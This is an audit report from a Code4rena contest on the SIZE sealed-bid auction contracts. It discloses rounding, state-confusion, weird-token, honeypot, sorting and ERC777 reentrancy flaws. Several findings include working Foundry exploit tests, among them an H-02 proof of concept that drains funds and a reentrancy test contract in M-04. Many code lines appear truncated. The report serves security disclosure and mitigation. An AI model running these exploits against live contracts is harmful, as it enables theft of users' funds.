SIZE contest
Findings & Analysis Report

2023-01-09

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the SIZE smart contract system written in Solidity. The audit contest took place between November 4-8, 2022.

Wardens

99 Wardens contributed reports to the SIZE contest:

1. 0x1f8b
2. 0x52
3. 0xSmartContract
4. 0xc0ffEE
5. 0xdapper
6. 0xdeadbeef
7. 8olidity
8. Aymen0909
9. B2
10. Bnke0x0
11. Deivitto
12. Diana
13. Dinesh11G
14. HE1M
15. JC
16. JTJabba
17. Josiah
18. KIntern_NA (TrungOre and duc)
19. KingNFT
20. Lambda
21. M4TZ1P (DekaiHako, holyhansss_kr, Zer0Luck, AAIIWITF and exd0tpy)
22. Matin
23. Picodes

24. PwnedNoMore (izhuer, ItsNio, papr1ka2 and wen)
25. R2
26. Rahoz
27. RaymondFam
28. RedOneN
29. ReyAdmirado
30. Rolezn
31. Ruhum
32. Sathish9098
33. TomJ
34. Trust
35. TwelveSec (0xDecorativePineapple, gkaragiannidis and 0xRav3n)
36. V_B (Barichek and vlad_bochok)
37. __141345__
38. ajtra
39. aviggiano
40. bin2chen
41. brgltd
42. c7e7eff
43. cccz
44. chaduke
45. codexploder
46. corerouter
47. cryptonue
48. cryptostellar5
49. cryptphi
50. ctf_sec
51. delfin454000
52. djxploit

53. fs0c
54. gianganhnguyen
55. gogo
56. gz627
57. halden
58. hansfriese
59. hihen
60. horsefacts
61. jayphbee
62. joestakey
63. karanctf
64. ktg
65. ladboy233
66. leosathya
67. lukris02
68. mcwildy
69. minhtrng
70. neko_nyaa
71. neumo
72. oyc_109
73. pashov
74. peanuts
75. ret2basic
76. ronnyx2017
77. rvierdiiev
78. sashik_eth
79. shark
80. simon135
81. skyle

82. slowmoses
83. tnevler
84. tonisives
85. trustindistrust
86. wagmi
87. yixxas
88. zapaz

This contest was judged by Oxean.

Final report assembled by CloudEllie.

Summary

The C4 analysis yielded an aggregated total of 9 unique vulnerabilities. Of these vulnerabilities, 2 received a risk rating in the category of HIGH severity and 7 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 29 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 31 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 SIZE contest repository, and is composed of 4 smart contracts written in the Solidity programming language and includes 485 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities according to a methodology based on OWASP standards.

Vulnerabilities are divided into three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

Further information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website.

High Risk Findings (2)

[H-01] Bidders might fail to withdraw their unused funds after the auction was finalized because the contract doesn't have enough balance.

Submitted by hansfriese*, also found by* ktg

Bidders might fail to withdraw their unused funds after the auction was finalized because the contract doesn't have enough balance.

The main flaw is the seller might receive more quote tokens than the bidders offer after the auction was finalized.

If there is no other auctions to use the same quote token, the last bidder will fail to withdraw his funds because the contract doesn't have enough balance of quote token.

Proof of Concept

After the auction was finalized, the seller receives the `filledQuote` amount of quote token using data.filledBase.

```
// Calculate quote amount based on clearing price
```

```
uint256 filledQuote = FixedPointMathLib.mulDivDown(clearing
```

But when the bidders withdraw the funds using `withdraw()`, they offer the quote token [using this formula](#).

```
// Refund unfilled quoteAmount on first withdraw
if (b.quoteAmount != 0) {
    uint256 quoteBought = FixedPointMathLib.mulDivDown(baseA
    uint256 refundedQuote = b.quoteAmount - quoteBought;
    b.quoteAmount = 0;

    SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken),
}
```

Even if they use the same clearing price, the total amount of quote token that the bidders offer might be less than the amount that the seller charged during finalization because the round down would happen several times with the bidders.

This is the test to show the scenario.

```
function testAuditBidderMoneyLock() public {
    // in this scenario, we show that bidder's money can be
    uint128 K = 1 ether;
    baseToSell = 4*K;
    uint256 aid = seller.createAuction(
        baseToSell, reserveQuotePerBase, minimumBidQuote, st
    );

    bidder1.setAuctionId(aid);
    bidder1.bidOnAuctionWithSalt(3*K, 3*K+2, "Honest bidder'
    bidder2.setAuctionId(aid);
    bidder2.bidOnAuctionWithSalt(2*K, 2*K+1, "Honest bidder'

    vm.warp(endTime);

    uint256[] memory bidIndices = new uint[](2);
    bidIndices[0] = 0;
    bidIndices[1] = 1;

    seller.finalize(bidIndices, 2*K, 2*K+1);
    emit log_string("Seller claimed");
```

```
        // seller claimed 4*K+2
        assertEq(quoteToken.balanceOf(address(seller)), 4*K+2);
        // contract has K+1 quote token left
        assertEq(quoteToken.balanceOf(address(auction)), K+1);

        // bidder1 withdraws
        bidder1.withdraw();
        emit log_string("Bidder 1 withdrew");
        // contract has K quote token left
        assertEq(quoteToken.balanceOf(address(auction)), K);
        // bidder2 withdraws and he is supposed to be able to cl
        // but the protocol reverts because of insufficient quot
        bidder2.withdraw();
        emit log_string("Bidder 2 withdrew"); // will not happer
    }
```

The test result shows the seller charged more quote token than the bidders offer so the last bidder can't withdraw his unused quote token because the contract doesn't have enough balance.

```
Running 1 test for src/test/SizeSealed.t.sol:SizeSealedTest
[FAIL. Reason: TRANSFER_FAILED] testAuditBidderMoneyLock() (
Logs:
Seller claimed
Bidder 1 withdrew

Test result: FAILED. 0 passed; 1 failed; finished in 6.94ms

Failing tests:
Encountered 1 failing test in src/test/SizeSealed.t.sol:Size
[FAIL. Reason: TRANSFER_FAILED] testAuditBidderMoneyLock() (
```

Tools Used

Foundry

Recommended Mitigation Steps

Currently, the `FinalizeData` struct contains the `filledBase` only and calculates the `filledQuote` using the clearing price.

```
struct FinalizeData {
    uint256 reserveQuotePerBase;
    uint128 totalBaseAmount;
    uint128 filledBase;
    uint256 previousQuotePerBase;
    uint256 previousIndex;
}
```

I think we should add one more field `filledQuote` and update it during auction finalization.

And the seller can recieve the sum of `filledQuote` of all bidders to avoid the rounding issue.

Also, each bidder can pay the `filledQuote` of quote token and receive the `filledBase` of base token without calculating again using the clearing price.

RagePit (SIZE) confirmed

[H-02] Attacker can steal any funds in the contract by state confusion (no preconditions)

Submitted by Trust, *also found by* V_B, cryptonue, PwnedNoMore, KIntern_NA, fs0c, cryptphi, bin2chen, JTJabba, HE1M, Picodes, hansfriese, KingNFT, R2, M4TZ1P, *and* 8olidity

HIGH: Attacker can steal any funds in the contract by state confusion (no preconditions).
LOC:
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238

Auctions in SIZE can be in one of several states, as checked in the atState() modifier:

```
modifier atState(Auction storage a, States _state) {
    if (block.timestamp < a.timings.startTimestamp) {
        if (_state != States.Created) revert InvalidState();
    } else if (block.timestamp < a.timings.endTimestamp) {
        if (_state != States.AcceptingBids) revert InvalidState(
    } else if (a.data.lowestQuote != type(uint128).max) {
        if (_state != States.Finalized) revert InvalidState();
    } else if (block.timestamp <= a.timings.endTimestamp + 24 ho
        if (_state != States.RevealPeriod) revert InvalidState()
    } else if (block.timestamp > a.timings.endTimestamp + 24 hou
        if (_state != States.Voided) revert InvalidState();
    } else {
        revert();
    }
    _;
}
```

It's important to note that if current block timestamp is greater than endTimestamp, `a.data.lowestQuote` is used to determine if finalize() was called.

The value is set to max at createAuction. In finalize, it is set again, using user-controlled input:

```
// Last filled bid is the clearing price
a.data.lowestBase = clearingBase;
a.data.lowestQuote = clearingQuote;
```

The issue is that it is possible to break the state machine by calling finalize() and setting lowestQuote to `type(uint128).max`. If the other parameters are crafted correctly, finalize() will succeed and perform transfers of unsold base amount and traded quote amount:

```
// Transfer the left over baseToken
if (data.totalBaseAmount != data.filledBase) {
    uint128 unsoldBase = data.totalBaseAmount - data.filledBase;
    a.params.totalBaseAmount = data.filledBase;
    SafeTransferLib.safeTransfer(ERC20(a.params.baseToken), a.da
}
// Calculate quote amount based on clearing price
```

```
    uint256 filledQuote = FixedPointMathLib.mulDivDown(clearingQuote
    SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), a.data.
```

Critically, attacker will later be able to call cancelAuction() and cancelBid(), as they are allowed as long as the auction has not finalized:

```
function cancelAuction(uint256 auctionId) external {
    Auction storage a = idToAuction[auctionId];
    if (msg.sender != a.data.seller) {
        revert UnauthorizedCaller();
    }
    // Only allow cancellations before finalization
    // Equivalent to atState(idToAuction[auctionId], ~STATE_FINA
    if (a.data.lowestQuote != type(uint128).max) {
        revert InvalidState();
    }
    // Allowing bidders to cancel bids (withdraw quote)
    // Auction considered forever States.AcceptingBids but noboc
    a.data.seller = address(0);
    a.timings.endTimestamp = type(uint32).max;
    emit AuctionCancelled(auctionId);
    SafeTransferLib.safeTransfer(ERC20(a.params.baseToken), msg.
}

function cancelBid(uint256 auctionId, uint256 bidIndex)
    external
{
    Auction storage a = idToAuction[auctionId];
    EncryptedBid storage b = a.bids[bidIndex];
    if (msg.sender != b.sender) {
        revert UnauthorizedCaller();
    }
    // Only allow bid cancellations while not finalized or in th
    if (block.timestamp >= a.timings.endTimestamp) {
        if (a.data.lowestQuote != type(uint128).max || block.tim
            revert InvalidState();
        }
    }
    // Prevent any futher access to this EncryptedBid
    b.sender = address(0);
    // Prevent seller from finalizing a cancelled bid
    b.commitment = 0;
    emit BidCancelled(auctionId, bidIndex);
    SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), msg
```

```
}
```

The attack will look as follows:

1. attacker uses two contracts - buyer and seller
2. seller creates an auction, with no vesting period and ends in 1 second. Passes X base tokens.
3. buyer bids on the auction, using baseAmount=quoteAmount (ratio is 1:1). Passes Y quote tokens, where Y < X.
4. after 1 second, seller calls reveal() and finalizes, with **lowestQuote = lowestBase = 2**128-1**.
5. seller contract receives X-Y unsold base tokens and Y quote tokens
6. seller calls cancelAuction(). They are sent back remaining totalBaseAmount, which is X - (X-Y) = Y base tokens. They now have the same amount of base tokens they started with. cancelAuction sets endTimestamp = `type(uint32).max`
7. buyer calls cancelBid. Because endTimestamp is set to max, the call succeeds. Buyer gets back Y quote tokens.
8. The accounting shows attacker profited Y quote tokens, which are both in buyer and seller's contract.

Note that the values of `minimumBidQuote`, `reserveQuotePerbase` must be carefully chosen to satisfy all the inequality requirements in createAuction(), bid() and finalize(). This is why merely spotting that lowestQuote may be set to max in finalize is not enough and in my opinion, POC-ing the entire flow is necessary for a valid finding.

This was the main constraint to bypass:

```
uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmour
...
data.previousQuotePerBase = quotePerBase;
...
if (data.previousQuotePerBase != FixedPointMathLib.mulDivDown(c]
            revert InvalidCalldata();
        }
```

Since clearingQuote must equal UINT128_MAX, we must satisfy: (2**128-1) * (2**128-1) / clearingBase = quoteAmount * (2**128-1) / baseAmount. The solution I found was setting clearingBase to (2**128-1) and quoteAmount = baseAmount.

We also have constraints on reserveQuotePerBase. In createAuction:

```
    if (
        FixedPointMathLib.mulDivDown(
            auctionParams.minimumBidQuote, type(uint128).max, auctic
        ) > auctionParams.reserveQuotePerBase
    ) {
        revert InvalidReserve();
    }
```

While in finalize():

```
    // Only fill if above reserve price
    if (quotePerBase < data.reserveQuotePerBase) continue;
```

And an important constraint on quoteAmount and minimumBidQuote:

```
    if (quoteAmount == 0 || quoteAmount == type(uint128).max || quot
        revert InvalidBidAmount();
    }
```

Merging them gives us two equations to substitute variables in:

1. `minimumBidQuote / totalBaseAmount < reserveQuotePerBase <= UINT128_MAX / clearingBase`
2. `quoteAmount > minimumBidQuote`

In the POC I've crafted parameters to steal 2**30 quote tokens, around 1000 in USDC denomination. With the above equations, increasing or decreasing the stolen amount is simple.

Impact

An attacker can steal all tokens held in the SIZE auction contract.

Proof of Concept

Copy the following code in SizeSealed.t.sol

```
    function testAttack() public {
        quoteToken = new MockERC20("USD Coin", "USDC", 6);
        baseToken = new MockERC20("DAI stablecoin ", "DAI", 18);
        // Bootstrap auction contract with some funds
        baseToken.mint(address(auction), 1e20);
        quoteToken.mint(address(auction), 1e12);
        // Create attacker
        MockSeller attacker_seller  = new MockSeller(address(auctior
        MockBuyer attacker_buyer = new MockBuyer(address(auction), c
        // Print attacker balances
        uint256 balance_quote;
        uint256 balance_base;
        (balance_quote, balance_base) = attacker_seller.balances();
        console.log("Starting seller balance: ", balance_quote, bala
        (balance_quote, balance_base) = attacker_buyer.balances();
        console.log('Starting buyer balance: ', balance_quote, balar
        // Create auction
        uint256 auction_id = attacker_seller.createAuction(
            2**32,  // totalBaseAmount
            2**120, // reserveQuotePerBase
            2**20, // minimumBidQuote
            uint32(block.timestamp), // startTimestamp
            uint32(block.timestamp + 1),  // endTimestamp
            uint32(block.timestamp + 1), // vestingStartTimestamp
            uint32(block.timestamp + 1), // vestingEndTimestamp
            0 // cliffPercent
        );
        // Bid on auction
        attacker_buyer.setAuctionId(auction_id);
        attacker_buyer.bidOnAuction(
            2**30, // baseAmount
            2**30  // quoteAmount
        );
        // Finalize with clearingQuote = clearingBase = 2**128-1
        // Will transfer unsold base amount + matched quote amount
        uint256[] memory bidIndices = new uint[](1);
        bidIndices[0] = 0;
        vm.warp(block.timestamp + 10);
```

```
        attacker_seller.finalize(bidIndices, 2**128-1, 2**128-1);
        // Cancel auction
        // Will transfer back sold base amount
        attacker_seller.cancelAuction();
        // Cancel bid
        // Will transfer back to buyer quoteAmount
        attacker_buyer.cancel();
        // Net profit of quoteAmount tokens of quoteToken
        (balance_quote, balance_base) = attacker_seller.balances();
        console.log("End seller balance: ", balance_quote, balance_b
        (balance_quote, balance_base) = attacker_buyer.balances();
        console.log('End buyer balance: ', balance_quote, balance_ba
    }
```

Tools Used

Manual audit, foundry tests

Recommended Mitigation Steps

Do not trust the value of `lowestQuote` when determining the finalize state, use a dedicated state variable for it.

RagePit (SIZE) confirmed

Medium Risk Findings (7)

[M-01] Incompatibility with fee-on-transfer/inflationary/deflationary/rebasing tokens, on both base tokens and quote tokens, with varying impacts

Submitted by neko_nyaa, *also found by* _141345_, 0x52, 0xc0ffEE, 0xSmartContract, c7e7eff, cccz, cryptostellar5, fs0c, hansfriese, horsefacts, Josiah, KingNFT, ladboy233, Lambda, minhtrng, pashov, R2, RaymondFam, Ruhum, rvierdiiev, sashik_eth, TomJ, tonisives, Trust, TwelveSec, *and* wagmi.

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L163
https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L96-L105

The following report describes two issues with how the `SizeSealed` contract incorrectly handles several so-called “weird ERC20” tokens, in which the token’s balance can change unexpectedly:

- How the contract cannot handle fee-on-transfer base tokens, and
- How the contract incorrectly handles unusual ERC20 tokens in general, with stated impact.

Base tokens

Let us first note how the contract attempts to handle sudden balance change to the `baseToken`:

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L96-L105

```
    uint256 balanceBeforeTransfer = ERC20(auctionParams.baseToken).b

    SafeTransferLib.safeTransferFrom(
        ERC20(auctionParams.baseToken), msg.sender, address(this), a
    );

    uint256 balanceAfterTransfer = ERC20(auctionParams.baseToken).ba
    if (balanceAfterTransfer - balanceBeforeTransfer != auctionParam
        revert UnexpectedBalanceChange();
    }
```

The effect is that the operation will revert with the error `UnexpectedBalanceChange()` if the received amount is different from what was transferred.

Quote tokens

Unlike base tokens, there is no such check when transferring the `quoteToken` from the bidder:

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L163

```
SafeTransferLib.safeTransferFrom(ERC20(a.params.quoteToken), msg
```

Since line 150 stores the `quoteAmount` as a state variable, which will be used later on during outgoing transfers (see following lines), this results in incorrect state handling.

It is worth noting that this will effect **all** functions with outgoing transfers, due to reliance on storage values.

- https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L327
- https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L351
- https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L381
- https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L439

Proof of concept

Consider the following scenario, describing the issue with both token types:

1. Alice places an auction, her base token is a rebasing token (e.g. aToken from Aave).
2. Bob places a bid with `1e18` quote tokens. This quote token turns out to be a fee-on-transfer token, and the contract actually received `1e18 - fee`.
3. Some time later, Alice cancels the auction and withdraws her aTokens.
4. Bob is now unable to withdraw his bid, due to failed transfers for the contract not having enough balance.

For Alice's situation, she is able to recover her original amount. However, since aTokens increases one's own balance over time, the "interest" amount is permanently locked in the contract.

Bob's situation is somewhat more recoverable, as he can simply send more tokens to the contract itself, so that the contract's balance is sufficient to refund Bob his

tokens. However, given that Bob now has to incur more transfer fees to get his own funds back, I consider this a leakage of value.

It is worth noting that similar impacts **will happen to successful auctions** as well, although it is a little more complicated, and that it varies in the matter of who is affected.

Impact

For the base token:

- For fee-on-transfer tokens, the contract is simply unusable on these tokens.
    - There exists **many** popular fee-on-transfer tokens, and potential tokens where the fees may be switched on in the future.
- For rebasing tokens, part of the funds may be permanently locked in the contract.

For the quote token:

- If the token is a fee-on-transfer, or anything that results in the contract holding lower amount than stored, then this actually results in a denial-of-service, since outgoing transfers in e.g. `withdraw()` will fail due to insufficient balance.
    - This may get costly to recover if a certain auction is popular, but is cancelled, so the last bidder to withdraw takes all the damage.
    - This can also be considered fund loss due to quote tokens getting stuck in the contract.
- For rebasing tokens, part of the funds may be permanently locked in the contract (same effect as base token).

Remarks

While technically two separate issues are described, they do have many overlappings, and both comes down to correct handling of unusual ERC20 tokens, hence I have decided to combine these into a single report.

Another intention was to highlight the similarities and differences between balance handling of base tokens and quote tokens, which actually has given rise to part of the issue itself.

Recommended Mitigation Steps

For both issues:

- Consider warning the users about the possibility of fund loss when using rebasing tokens as the quote token.
- Adding ERC20 recovering functions is an option, however this should be done carefully, so as not to accidentally pull out base or quote tokens from ongoing auctions.

For the base token issue:

- Consider using two parameters for transferring base tokens: e.g. `amountToTransferIn` for the amount to be pulled in, and `auctionParams.totalBaseAmount` for the actual amount received, then check the received amount is appropriate.
    - The calculation for these two amount should be the auction creator's responsibility, however this can be made a little easier for them by checking amount received is at least `auctionParams.totalBaseAmount` instead of exact, and possibly transferring the surplus amount back to the creator.

For the quote token issue:

- Consider adding a check for `quoteAmount` to be correctly transferred, or check the actual amount transferred in the contract instead of using the function parameter, or something similar to the base token's mitigation.

Additionally, consider using a separate internal function for pulling tokens, to ensure correct transfers.

Oxean (judge) commented on duplicate issue #255:

> debating between M and H on this one. Currently leaning towards H since there is a direct loss of funds and no documentation stating these types of tokens aren't

> supported (nor checks to disable them).

> using this issue to gather all of the various manifestations of “special” ERC20 tokens not being supported. While rebasing tokens would need to be handled differently than fee on transfer, the underlying issue is close enough to not separate them all out

Ragepit (SIZE) confirmed duplicate issue #255

0xean (judge) commented on duplicate issue #255:

> Thought about this one more and look back at some similar past findings from myself and other judges and feel that M is the correct severity here. code-423n4/org#3 for a conversation on the topic.

[M-02] Solmate’s ERC20 does not check for token contract’s existence, which opens up possibility for a honeypot attack

Submitted by neko_nyaa, *also found by* 8olidity, BnkeOx0, brgltd, ctf_sec, djxploit, horsefacts, jayphbee, Matin, *and* TwelveSec.

When bidding, the contract pulls the quote token from the bidder to itself.

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L163

```
SafeTransferLib.safeTransferFrom(ERC20(a.params.quoteToken), msg
```

However, since the contract uses Solmate’s SafeTransferLib

> /// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller.

Therefore if the token address is empty, the transfer will succeed silently, but not crediting the contract with any tokens.

This error opens up room for a honeypot attack similar to the Qubit Finance hack in January 2022.

In particular, it has became popular for protocols to deploy their token across multiple networks using the same deploying address, so that they can control the address nonce and ensuring a consistent token address across different networks.

E.g. **1INCH** has the same token address on Ethereum and BSC, and GEL token has the same address on Ethereum, Fantom and Polygon. There are other protocols have same contract addresses across different chains, and it's not hard to imagine such thing for their protocol token too, if any.

Proof of Concept

Assuming that Alice is the attacker, Bob is the victim. Alice has two accounts, namely Alice1 and Alice2. Denote token Q as the quote token.

0. **Token Q has been launched on other chains, but not on the local chain yet.** It is expected that token Q will be launched on the local chain with a consistent address as other chains.
1. Alice1 places an auction with some `baseToken`, and a token Q as the `quoteToken`.
2. Alice2 places a bid with `1000e18` quote tokens.
    - The transfer succeeds, but the contract is not credited any tokens.
3. **Token Q is launched on the local chain.**
4. Bob places a bid with `1001e18` quote tokens.
5. Alice2 cancels her own bid, recovering her (supposedly) `1000e18` refund bid back.
6. Alice1 cancels her auction, recovering her base tokens back.

As a result, the contract's Q token balance is `1e18`, Alice gets away with all her base tokens and `1000e18` Q tokens that are Bob's. Alice has stolen Bob's funds.

Recommended Mitigation Steps

Consider using OpenZeppelin's SafeERC20 instead, which has checks that an address does indeed have a contract.

Ragepit (SIZE) confirmed and commented on duplicate issue #318:

> Incredibly unlikely but confirming as Medium given the good argument in #48

[M-03] The sorting logic is not strict enough

Submitted by hansfriese

When the seller finalizes his auction, all bids are sorted according to the `quotePerBase` and it's calculated using the `FixedPointMathLib.mulDivDown()`.

And the earliest bid will be used first for the same `quotePerBase` but this ratio is not strict enough so that the worse bid might be filled than the better one.

As a result, the seller might receive fewer quote token than he wants.

Proof of Concept

This is the test to show the scenario.

```
function testAuditWrongSorting() public {
    // this test will show that it is possible the seller ca
    uint128 K = 1<<64;
    baseToSell = K + 2;
    uint256 aid = seller.createAuction(
        baseToSell, reserveQuotePerBase, minimumBidQuote, st
    );

    bidder1.setAuctionId(aid);
    bidder1.bidOnAuctionWithSalt(K+1, K, "Worse bidder");
    bidder2.setAuctionId(aid);
    bidder2.bidOnAuctionWithSalt(K+2, K+1, "Better bidder");

    vm.warp(endTime);

    uint256[] memory bidIndices = new uint[](2);
    bidIndices[0] = 1; // the seller is smart enough to choo
    bidIndices[1] = 0;

    vm.expectRevert(ISizeSealed.InvalidSorting.selector);
    seller.finalize(bidIndices, K+2, K+1); // this reverts b

    // next the seller is forced to call the finalize with p
```

```
        bidIndices[0] = 0;
        bidIndices[1] = 1;
        seller.finalize(bidIndices, K+1, K);

        // at this point the seller gets K quote tokens while he
        assertEq(quoteToken.balanceOf(address(seller)), K);
    }
```

This is the output of the test.

```
Running 1 test for src/test/SizeSealed.t.sol:SizeSealedTest
[PASS] testAuditWrongSorting() (gas: 984991)
Test result: ok. 1 passed; 0 failed; finished in 7.22ms
```

When it calculates the **quotePerBase**, they are same each other with `(base, quote) = (K+1, K)` and `(K+2, K+1)` when `K = 1<<64`.

So the seller can receive `K+1` of the quote token but he got `K`.

I think `K` is realistic enough with the 18 decimals token because K is around 18 * 1e18.

Tools Used

Foundry

Recommended Mitigation Steps

As we can see from the test, it's not strict enough to compare bidders using `quotePerBase`.

We can compare them by multiplying them like below.

$\frac {quote1}{base1} >= \frac{quote2}{base2} <=> quote1 * base2 >= quote2 * base1$

So we can add 2 elements to `FinalizeData` struct and modify **this comparison** like below.

```
struct FinalizeData {
    uint256 reserveQuotePerBase;
    uint128 totalBaseAmount;
    uint128 filledBase;
    uint256 previousQuotePerBase;
    uint256 previousIndex;
    uint128 previousQuote; //++++++++++++
    uint128 previousBase; //++++++++++
}



uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteA
if (quotePerBase >= data.previousQuotePerBase) {
    // If last bid was the same price, make sure we filled t
    if (quotePerBase == data.previousQuotePerBase) {
        uint256 currentMult = uint256(b.quoteAmount) * data.
        uint256 previousMult = uint256(data.previousQuote) *

        if (currentMult > previousMult) { // current bid is
            revert InvalidSorting();
        }

        if (currentMult == previousMult && data.previousInde
    } else {
        revert InvalidSorting();
    }
}

...

data.previousBase = baseAmount;
data.previousQuote = b.quoteAmount;
```

Oxean (judge) commented:

> hmmm... I think the summary is loss of precision leads to small difference in sorting. Will leave open for sponsor review, but may be QA without showing a larger impact

RagePit (SIZE) confirmed and commented:

> very nice find, although its only a small loss in precision the possibility of unfair sorting should be addressed

Trust (warden) commented:

> With 1e18 points of precision, the difference between the theoretically correct calculation and the actual calculation is basically non existent. Therefore, impact is purely theoretical, as a competitive bidder could by the same logic over-bid by a tiny amount in the corrected calculation as well. Also, it is worth remembering that quote1 & quote2 are unknown until revealed, when it's too late to over-bid.

hansfriese (warden) commented:

> The definition of a better bid is the seller can earn more quote tokens (even if it's 1 wei) by using the bidder. As we can see from the test, the seller can receive more amount of quote tokens if he uses the worse bidder. It means the sorting method using 1e18 is not good enough. If we implement the suggested comparison method(quote1 * base2 > quote2 * base1), it's impossible to receive more funds by using the worse bidder because the comparison is strict. This issue has no relation to the over-bid and just shows the incorrect sorting logic.

Trust (warden) commented:

> Yeah Hans you are very much correct in that sorting logic can theoretically be incorrect. I'm talking about the impact, not the root cause. Don't you agree that the difference in calculation and the fact quote is unknown makes impact completely nullified?

> Regardless it's a well a spotted sneaky bug.

hansfriese (warden) commented:

> I think we can't say it's 100% impossible to have the above situation although the bidders place a bid without knowing others.

> It says about the Med risk like below in the document.

> 2 - Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated

> assumptions, but external requirements.

> I think my test case would be a possible assumption.

> I feel I am defending my issue too much. I won't reply anymore and will follow the judge's decision.

> Thanks for your feedback.

Oxean (judge) commented:

> Thanks for the comments and fact based discussion which is always welcomed, going to move forward with a M here.

[M-04] Auction created by ERC777 Tokens with tax can be stolen by re-entrancy attack

Submitted by **ronnyx2017**

The createAuction function lacks the check of re-entrancy. An attacker can use an ERC777 token with tax as the base token to create auctions. By registering ERC777TokensSender interface implementer in the ERC1820Registry contract, the attacker can re-enter the createAuction function and create more than one auction with less token. And the sum of the totalBaseAmount of these auctions will be greater than the token amount received by the SizeSealed contract. Finally, the attacker can take more money from the contract global pool which means stealing tokens from the other auctions and treasury.

Proof of Concept

Forge test

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;

import {Test} from "forge-std/Test.sol";

import {SizeSealedTest} from "./SizeSealed.t.sol";
import {ERC777} from "openzeppelin-contracts/contracts/token/ERC
```

```
import "openzeppelin-contracts/contracts/utils/introspection/IER
import {MockSeller} from "./mocks/MockSeller.sol";
import {MockERC20} from "./mocks/MockERC20.sol";

contract TaxERC777 is ERC777{
    uint32 tax = 50; // 50% tax rate

    constructor(string memory name_,
        string memory symbol_,
        address[] memory defaultOperators_) ERC777(name_, symbol

    function mint(address rec, uint256 amount) external{
        super._mint(rec, amount, "", "", false);
    }

    function _beforeTokenTransfer(
        address operator,
        address from,
        address to,
        uint256 amount
    ) internal override {
        if(to == address(0)||from==address(0)){ return;}
        // tax just burn for test

    }

    function _send(
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData,
        bool requireReceptionAck
    ) internal override {
        uint tax_amount = amount* tax / 100;
        _burn(from, tax_amount, "", "");
        super._send(from, to, amount-tax_amount, userData, opera
    }

}

contract Callback {
    MockSeller seller;
    uint128 baseToSell;

    uint256 reserveQuotePerBase = 0.5e6 * uint256(type(uint128).
```

```
    uint128 minimumBidQuote = 1e6;
    // Auction parameters (cliff unlock)
    uint32 startTime;
    uint32 endTime;
    uint32 unlockTime;
    uint32 unlockEnd;
    uint128 cliffPercent;

    uint8 entry = 0;
    uint128 amount_cut_tax;
    constructor(MockSeller _seller, uint128 _baseToSell, uint256
        seller = _seller;
        baseToSell = _baseToSell;
        reserveQuotePerBase = _reserveQuotePerBase;
        minimumBidQuote = _minimumBidQuote;
        startTime = _startTime;
        endTime = _endTime;
        unlockTime = _unlockTime;
        unlockEnd = _unlockEnd;
        cliffPercent = _cliffPercent;
    }
    function tokensToSend(address operator, address from, addres
        if(from==address(0) || to==address(0)){return;}
        if(entry == 0){
            entry += 1;
            amount_cut_tax = baseToSell / 2;
            seller.createAuction(
                amount_cut_tax, reserveQuotePerBase, minimumBidQ
            );
            return;
        }
        else if(entry == 1){
            entry += 1;
            ERC777(msg.sender).transferFrom(from, to, amount_cut
            return;
        }
        entry += 1;
        return;

    }
    function canImplementInterfaceForAddress(bytes32 interfaceHa
}

contract MyTest is SizeSealedTest {

    IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1
```

```
    function testCreateAuctionFromErc777() public {
        TaxERC777 tax777Token;
        address[] memory addrme = new address[](1);
        addrme[0] = address(this);
        tax777Token = new TaxERC777("t7", "t7", addrme);

        seller = new MockSeller(address(auction), quoteToken, Mo
        Callback callbackImpl = new Callback(seller, baseToSell,

        // just without adding more function to MockSeller
        vm.startPrank(address(seller));
        _ERC1820_REGISTRY.setInterfaceImplementer(address(seller
        tax777Token.approve(address(callbackImpl), type(uint256)
        vm.stopPrank();
        seller.createAuction(
            baseToSell, reserveQuotePerBase, minimumBidQuote, st
        );
        uint auction_balance = tax777Token.balanceOf(address(auc
        uint128 auction1_amount = get_auction_base_amount(1);
        uint128 auction2_amount = get_auction_base_amount(2);
        emit log_named_uint("auction balance", auction_balance);
        emit log_named_uint("auction 1 totalBaseAmount", auction
        emit log_named_uint("auction 2 totalBaseAmount", auction
        assertGt(auction1_amount+auction2_amount, auction_balanc
    }

    function get_auction_base_amount(uint id) private returns (u
        (, ,AuctionParameters memory para) = auction.idToAuction
        return para.totalBaseAmount;
    }
}
```

You should fork mainnet because the test needs to call the ERC1820Registry contract at `0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24`

```
forge test --match-test testCreateAuctionFromErc777 -vvvvv --for
```

Test passed and print logs:

```
...
...
```
